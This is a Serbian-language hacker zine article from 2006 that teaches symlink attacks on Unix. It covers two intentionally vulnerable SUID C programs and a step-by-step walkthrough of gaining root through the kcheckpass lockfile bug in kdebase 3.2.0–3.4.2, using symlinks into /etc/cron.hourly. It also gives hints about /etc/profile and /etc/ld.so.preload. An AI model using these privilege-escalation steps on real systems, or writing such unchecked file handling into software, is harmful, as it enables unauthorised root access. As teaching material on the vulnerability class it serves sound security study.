                             
                             ...................
                       ...::: phearless zine #5 :::...

........................>---[ Symlink Attacks ]---<.........................

.........................>---[ by Wintermuth ]---<..........................
                                                      anikolic@phearless.org
                                               http://anikolic.phearless.org


  [1] Uvod
  [2] World wide writting symlink bag
  [3] Menjanje permisija symlink bug
  [4] kcheckpass - real world symlink bag eksploitacija
  [5] Last words


////////////////////////////////////////////////////////////////////////////
--==<[ 1. Uvod
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

 E pa ljudi eto mene ponovo. Sad je peti januar ove sveze nove 2006e godine.
I  polako  se  blizi  vreme  novom  jubilarnom  5om  izdanju  nama omiljenog
phearlessa.  Prezivesmo  docek nove godine, kako tako, ja sam se evo snabdeo
novom  tastaturom  jer  je  stara  popila  dupli martini i pola piva i umrla
(uopste nije na gazdu:)). Samim tim sto je nova treba i malo da se razgiba a
i  ja  treba da naucim da kucam po istoj. Meni to ne predstavlja problem ali
mislim  da ce Shatterhand da me tera dodjavola kad mu budem predao tekst pun
gresaka  u kucanju :) Anywayz, dosta praznih prica, nisam vam ja bl00d, nego
da krenemo mi na sam tekst.

  Nedavno sam primljen na jedan forum i tamo bio jedan challenge da se resi.
Bio   je  u  pitanju  upravo  symlink  napad.  Do  sada  sam  takve  smatrao
neiskoristivim  i  nije  mi  palo  na pamet kako bi mogao da se iskoristi za
dobijanje  root shella sto je i bio cilj. Pitao sam jos neke ljude i niko od
njih  nije  imao  ideju  kako  da  ga  resimo.  Napokon, autor challengea je
postavio  jedno  od  mogucih  resenja  i  ja sam se udario u glavu koliko je
prosto,  ali  opet  prilicno  lukavo.  Naime, kod symlink napada morate biti
kreativni  sto  ovaj  challenge  dokazuje.  Ovde  cu  na  manje vise, pravim
primerima  pokazati  neke  tehnike  eksploitisanja symlink attack bagova. Za
razliku od drugog teksta, tj nastavka onog iz prethodnog broja ovaj tekst je
prilicno  lagan za razumevanje i mislim pristupacan svima. Ono sto vam treba
za  njegovo  razumevanje  jeste  malo  poznavanje  UNIXoliki sistema i zdrav
mozak.  Znanje  Ca  nikada  nije  na  izmet jer sam primere davao uglavnom u
istom.

////////////////////////////////////////////////////////////////////////////
--==<[ 2. World wide writting symlink bag
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

  Symlink  bagovi  nastaju  pri  losoj  ili  nikakvoj proveri fajlova u koje
program  upisuje  nesto.  Iskoriscavanje  symlink  bagova  vam dozvoljava da
pisete po odredjenim a cesto i bilo kojim fajlovima, po kojima inace nebiste
mogli,  i  time  na kraju dovedu do toga da vi dobijete root shell ili nesto
slicno.  Da bi bili od neke vece koristi symlink bug bi trebalo da postoji u
SUID  programu.  Sto  znaci  da bi se on pokretao s root pravima i time imao
pristup  svemu.  Ovo  je  vrlo cest slucaj. Jos jedna vrlo cesta greska koju
programeri cine jeste da kad prave tmp fajlove za potrebe programa obicno ne
osecaju  potrebu  za  proverama  pre  njihove upotrebe i pri samom kreiranju
istih sto takodje dovodi do mogucnosti za symlink napad.

  Sta nama tacno omogucava symlink bag? Recimo da imamo SUID program koji ne
radi potrebne provere pre koriscenja ili pisanja fajla u koji nesto upisuje.
Takodje,  znamo  i mesto i ime gde se taj fajl nalazi. Znajuci to, mozemo na
mesto  gde  ce  se  fajl nalaziti da napravimo symlink koji ce pokazivati na
neki drugi fajl, koji nam inace zbog prava pristupa nijej dostupan. Naravno,
taj  symlink  ce  imati isto ime kao i fajl koji bi program koristio. Sta se
zatim desava? Program biva pokrenut. Ne proverava da li fajl vec postoji ili
da  li je stvarno fajl ili je nesto drugo pocinje da pise po njemu. Posto je
to  u  stvari  symlink  on  ne  pise  po  njemu vec po fajlu na koji symlink
pokazuje.  Posto  je  SUID  program,  on  moze  da  pose po svim fajlovima i
omogucava nam da radimo nesto sto nebismo smeli :).

Da  bi  ovo  malo  razjasnili  i prakticno demonstrirali koristicu se jednim
prostim primerom:

------symvuln1.c---------

#include <stdio.h>

main(int argc, char **argv[])
{
FILE *aca;

aca = fopen("aca","a+");

fprintf(aca,"%s",argv[1]);
fclose(aca);
}
 
------/sumvuln1.c-------

  Sta  to  imamo  ovde?  Pa  prosto, program uzima argument pri pokretanju i
upisuje ga u fajl pod imenom "aca". Ovo je samo prost primer, tesko da ce se
negde  u  nekom  programu  nacinesto  ovako banalno, ali postoje sanse da se
nadje  u  nekoj  skripti koju je napisao neki mrzovoljni amdinistrator da bi
radio  neke  poslove  automatski  a  pri tome nije razmisljao o ovakvom vidu
napada. Da bi nam bio od neke koristi program mora da bude SUID.

 earthquake@gibson:~$ su
 Password:
 
 root@gibson:/home/earthquake# gcc symvuln1.c  -o symvuln1
 
 root@gibson:/home/earthquake# chown root.root symvuln1
 root@gibson:/home/earthquake# chmod +s symvuln1
 root@gibson:/home/earthquake#
 
  Dobro,  imamo  SUID program koji pise sta god mi pozelimo u fajl aca u mom
home direktorijumu bez da proverava isti prethodno. Sta bi mogli s tim majku
mu?  Pa  naravno,  symlink napad. A za to nam treba symbolicki link ka nekom
fajlu  koji  zelimo da menjamo a inace nemamo tu mogucnost. Na pamet mi pada
mnogo  fajlova  ali da nebih morao da sredjujem svoj sistem posle ovoga necu
se  petljati s pravim fajlovima vec sa laznim ali bice vam jasno sta hocu da
kazem. Dakle symlink:
 
earthquake@gibson:~$ ln -s /root/passwd aca
earthquake@gibson:~$ ls -l aca
lrwxrwxrwx  1 earthquake users 12 2006-01-05 13:49 aca -> /root/passwd

  Sada  u  svom  home  direktorijumu  imam symlink aca koji pokazuje na fajl
/root/passwd  (citaj /etc/passwd ali kao sto rekoh, da ne pravim backupove i
da bih ustedeo sebi muke posle). I kada sad pokrenem nas ranjivi program:

earthquake@gibson:~$ ./symvuln1  www.phearless.org
earthquake@gibson:~$ cat /root/passwd
cat: /root/passwd: Permission denied
earthquake@gibson:~$ su
Password:
root@gibson:/home/earthquake# cat /root/passwd | grep www <------
www.phearless.org                           <---i evo ga 
root@gibson:/home/earthquake#
root@gibson:/home/earthquake# exit
exit
earthquake@gibson:~$

  Eto,  uspesno  smo  upisali ono sto smo zeleli u fajl u koji inace nebismo
mogli.  Mislim da vam je jasnko kako bi ovo mogli da iskoristite da bi dosli
do privilegovanog naloga na sistemu. Valjda ne moram bas sve da crtam :)

////////////////////////////////////////////////////////////////////////////
--==<[ 3. Menjanje permisija symlink bug
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

 Drugi, verovatno cesci, vid symlink bugova jesu i greske kada program menja
permisije  nekog  fajla  bez  prethodne  provere  istog.  Na  primer, slican
scenario, imamo program koji u nekom trenutku menja permisije pristupa nekog
fajla  iz nekog razloga ali prethodno ne proverava taj fajl kako bi trebalo.
Opet  naravno  mozemo da iskoristimo tu mogucnost symlink napada i promenimo
permisije nekog fajla i time dobijemo pristup istom. Naravno i u tom slucaju
program  koji je ranjiv na symlink napade mora da bude SUID da bi nam bio od
koristi. Nego ajde to lepo da ilustrujemo primerom da bi bilo jasnije:
    
-------symvuln2.c---------
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>

main(int argc, char **argv[])
{
chmod("aca",00400|00200|00100|00040|00020|00010|00004|00002|00001);
}
------/symvuln2.c---------

 Ovaj jednostavni program samo menja permisije na fajlu "aca" koji se nalazi
u  mom  home  direktorijumu  na  world  readable,  world  writeble  i  world
executable permisije. I naravno, ocigledno nema potrebnih provera nad fajlom
koji menja. Stoga je ranjiv na symlink napad. Da bi bio od neke koristi mora
da bude SUID:

earthquake@gibson:~$
Password:
root@gibson:/home/earthquake# gcc symvuln2.c -o symvuln2
root@gibson:/home/earthquake# chown root.root symvuln2
root@gibson:/home/earthquake# chmod +s symvuln2
root@gibson:/home/earthquake# exit
exit
earthquake@gibson:~$

 Sada kada je SUID treba nam i taj famozni symlink pod imenom aca u mom home
direktorijumu.  Namestimo  ga  da  pokazuje  na neki bitan fajl koji do sada
nismo  mogli ni da gledamo a ni da pisemo , logicno. Prvo koji svakome padne
na pamet jeste /etc/shadow naravno mada je izbor veliki.
Ajde da vidimo kako to funkcionise:
    
earthquake@gibson:~$ su
Password:
root@gibson:/home/earthquake# cd ~
root@gibson:~# ls -l passwd
-rwxr--r--  1 root root 777 2006-01-05 13:57 passwd
root@gibson:~# exit
exit

Ocigledno je kakve su permisije na fajlu /root/passwd.

earthquake@gibson:~$ ln -s /root/passwd aca
earthquake@gibson:~$ ls -l aca
lrwxrwxrwx  1 earthquake users 12 2006-01-05 14:53 aca -> /root/passwd*

Napravili smo symlinkk aca ka fajlu /root/passwd.

earthquake@gibson:~$ ./symvuln2
earthquake@gibson:~$ su
Password:
root@gibson:/home/earthquake# cd ~
root@gibson:~# ls -l passwd
-rwxrwxrwx  1 root root 777 2006-01-05 13:57 passwd
root@gibson:~# exit
exit

 Pokrenuli smo program i sada su permisije na passwd fajlu promenjene u nasu
korist.  Sada  svako  moze da ga cita i pise po njemu, moze i da ga izvrsava
ali to nije bitno jer nije skripta ili nesto slicno.
  To je bio jos jedan vid symlink napada koji se cesce srece. Tacnije, retko
cete  naci u nekom programu gresku koja ce vam dozvoliti da kontrolisete sta
se  upisuje  u  fajl  kao u prvom primeru ali se cesce nalaze ovakve greske.
Prilicno  slicna  ranjivost  prvom primeru bila je u Sendmail paketu verzije
8.8.4.  Tacnije  ako  sendmail utvrdi da onaj host kojem je mail namenjen ne
postoji on ga je smestao u fajl koji se zvao dead.letter, tacnije smestao je
sadrzaj  poruke. Zbog nepostojanja provera, napadac je mogao da posalje mail
na  nepostojecu  adresu  a  da  prethodno  od dead.letter napravi symlink ka
recimo  /etc/passwd  fajlu,  a  u  samom  mailu napise sve potrebno da bi se
napravio acc sa root privilegijama i bez sifre.

////////////////////////////////////////////////////////////////////////////
--==<[ 4. kcheckpass - real world symlink bag eksploitacija
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

  E sad, sve je to lepo ali sta ako ne mozemo da kontrolisemo output, a i ne
menjaju  se privilegije pristupa? Savrsena ilustracija ovog problema je onaj
challenge koji sam pomenuo na pocetku teksta. Naime radilo se o symlink bagu
u  jednom  od  KDE  programa. Tacnije rec je o kcheckpass programu koji vrsi
autentifikaciju  korisnika.  Ajde  da vidimo sam advisory koji nam dolazi od
SureSeca  i  od  gospodina  Ilje  van  Sprundela. Ilja inace obozava da rusi
stvari,  na ovom poslednjem Chaos Comunication Congressu je drzao predavanje
o  fuzzerima,  na kojem naravno nisam bio, ali se nadam da h4z4rd jeste i da
ce moci da mi ga preprica/da ili sta vec, Ilja ima iza sebe nekoliko fuzzera
za  mnoge  stvari  i  autor  je  FUZZING.pdf teksta/prezentacije/necega koja
obuhvata neke ideje iz tog domena. Nego dosta o Ilji, bacimo se na advisory:
    
Vulnerable systems:

* kdebase versions 3.2.0 to 3.4.2

kcheckpass  is a utility used to authenticate users. It's used by tools such
as kscreensaver. The code that's used to create a lockfile doesn't check for
or  sets  the  umask.  Besides the umask problem it will also happily follow
symlinks, as shown by the following code snippet:
...
sprintf(fname, "/var/lock/kcheckpass.%d", uid);
if ((lfd = open(fname, O_RDWR | O_CREAT)) >= 0) {
}
...

In  order for an attacker to be able to exploit this /var/lock would have to
be  world  writable  and  kcheckpass  would  have  to  be  suid.  When these
conditions are met an attacker can create a world writable file anywhere.

  When  properly  exploited  users  can gain root privileges (given that the
previously mentioned conditions are met).

  Dakle,  kao  sto kaze advisory kcheckpass pravi lock file u /var/lock i ne
proverava ga kako bi trebalo. To nam omogucava da probamo sa symlink napadom
da dobijemo root.

Ajd prvo da vidimo sta se desava:
    
earthquake@gibson:~$ cd /var/lock
earthquake@gibson:/var/lock$ ls -l
total 4
drwxr-xr-x  2 root root 4096 2006-01-05 18:53 subsys/
earthquake@gibson:/var/lock$ kcheckpass
Password:
Authentication failure
earthquake@gibson:/var/lock$ ls -l
total 8
-rwxr-x--T  1 root users   13 2006-01-05 19:55 kcheckpass.1000*
drwxr-xr-x  2 root root  4096 2006-01-05 18:53 subsys/
earthquake@gibson:/var/lock$ cat kcheckpass.1000
1136487342 0
earthquake@gibson:/var/lock$

  Kao sto vidimo, pri pokretanju, kcheckpass trazi sifru. Pri unosu pogresne
sifre  stvara  lock  file  pod imenom kcheckpass.$UID. Posto je moj UID 1000
lock  fajl  se  zove  kcheckpass.1000. Kao sto vidimo, sadrzaj lock fajla je
1136487342  0  sto definitivno nemozemo da kontrolisemo. A kao sto vidimo iz
sourcea kcheckpass programa on ne menja permisije fajla. Upravo zato je ovaj
challenge  bio  zanimljiv  i zbog toga sam lupao glavom o zid (ne bukvalno).
Resenje je krajnje prosto ali na prvi pogled neocigledno.

  Resenje  je  da  se  output koji kcheckpass ispisuje preusmeri na neku vec
postojecu  skriptu koju zatim izvrsava neki SUIDni program. Naslucujete kuda
ovo  vodi  nadam se. Tako sto upisemo, ovo sto kcheckpass normalno upisuje u
neki  fajl, u neku skriptu, pri pokretanju skripte ona ce pokusati da izvrsi
fajl  koji  se  zove  upravo  kao  output  iz  kcheckpassa,  u  ovo  slucaju
1136487342.  Mozemo  napraviti prost program koji bi nam davao shell pristup
sa  root  privilegijama i da ga nazovemo 1136487342. Kada ga skripta koja je
pokrenuta  od  strane  SUID  program  apokrene  on ce nam dati shell i voila
w00t!!!. 

 Ajde da vidimo to u praksi. Prvo treba da nadjemo odgovarajucu skriptu koju
ce    pokrenuti   neki  SUIDni  program.  Postoji  naravno  vise  nacina  za
eksploitaciju  ovoga.  Posto  nemam  bas mnogo vremena da cesljam po sistemu
trazeci  odgovarajucu  skriptu, koristicu CRON. CRON jednostavno vidi sta se
nalazi  u  odredjenim  folderima  u /etc/ i izvrsava te fajlove kao skripte.
Dakle,  ako u folderu /etc/cron.hourly napravimo bilo koju skriptu, sam cron
ce je izvrsavati svakih sat vremena.
I to izgleda ovako:

earthquake@gibson:/var/lock$ ls -l
total 4
drwxr-xr-x  2 root root 4096 2006-01-08 11:18 subsys/
earthquake@gibson:/var/lock$ ln -s /etc/cron.hourly/expl.sh kcheckpass.1000
earthquake@gibson:/var/lock$ ls -l
total 4
lrwxrwxrwx  1 earthquake users   24 2006-01-08 14:45 kcheckpass.1000 -> /etc/cron.hourly/expl.sh
drwxr-xr-x  2 root       root  4096 2006-01-08 11:18 subsys/
earthquake@gibson:/var/lock$

  Dobro,  sad imamo skriptu, fali nam samo ono sto ce skripta pokrenuti a to
je  program  koji  ima  ime  onog timestampa koji ostavlja kcheckpass. To je
1136487342  ili  sl.  Da bi nam bio od koristi to treba da bude neki program
koji  bi  nam  nakon svog izvrsenja dao privilegovani pristup sistemu. Znaci
ili  da  doda  novog usera sa root pravima ili da /etc/shadow stavi na world
readble ili nesto trece, kreativnost je korisna. 
   Znaci,  napravite  takav  program,  kompajlirate  ga  i  stavite  mu  ime
1136487342. Ali to nije sve, potrebno je i da postavite $PATH varijablu kako
treba da bi cron mogao da nadje vas program. Dakle:

earthquake@gibson:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/games:/opt/www/htdig/bin:
/usr/lib/java/bin:/usr/lib/java/jre/bin:/opt/kde/bin:/usr/lib/qt/bin:.
earthquake@gibson:~$ export PATH=/home/earthquake:/usr/local/bin:/usr/bin:
/bin:/usr/X11R6/bin:/usr/games:/opt/www/htdig/bin:/usr/lib/java/bin:
/usr/lib/java/jre/bin:/opt/kde/bin:/usr/lib/qt/bin:.
earthquake@gibson:~$ echo $PATH
/home/earthquake:/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/games:
/opt/www/htdig/bin:/usr/lib/java/bin:/usr/lib/java/jre/bin:/opt/kde/bin:
/usr/lib/qt/bin:.
earthquake@gibson:~$

 E sad kad ste to postavili jedino sto nam preostaje jeste da sacekamo da se
zavrsi  taj cron job koji u stvar izvrsava nas program sa root privilegijama
i to je to.

////////////////////////////////////////////////////////////////////////////
--==<[ 5. Last words
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

  Naravno,  verovatno  postoji  i neki bolji nacin da se ovo eksploitise ali
meni za sada nije pao na pamet. Ako neko bude imao interesantna resenja neka
mi posalje na mail. Par hintova za eksploitaciju: 
  Mozete  koristiti  npr /etc/profile skriptu ali se setite kada se samo ona
pokrece.  Eventualno  mozete  koristiti  i /etc/ld.so.preload fajl, ali onda
stvari  bivaju  prilicno komplikovanije. U ovo slucaju budite  vrlo pazljivi
posto vrlo lako mozete unistiti svoj sistem.
    
Kod ovakvih vrsta napada jako bitna stvar je biti kreativan. To je u sustini
ono sto ovu "profesiju" cini interesantnom. 

Da ne duzim, ae pozdrav svima.


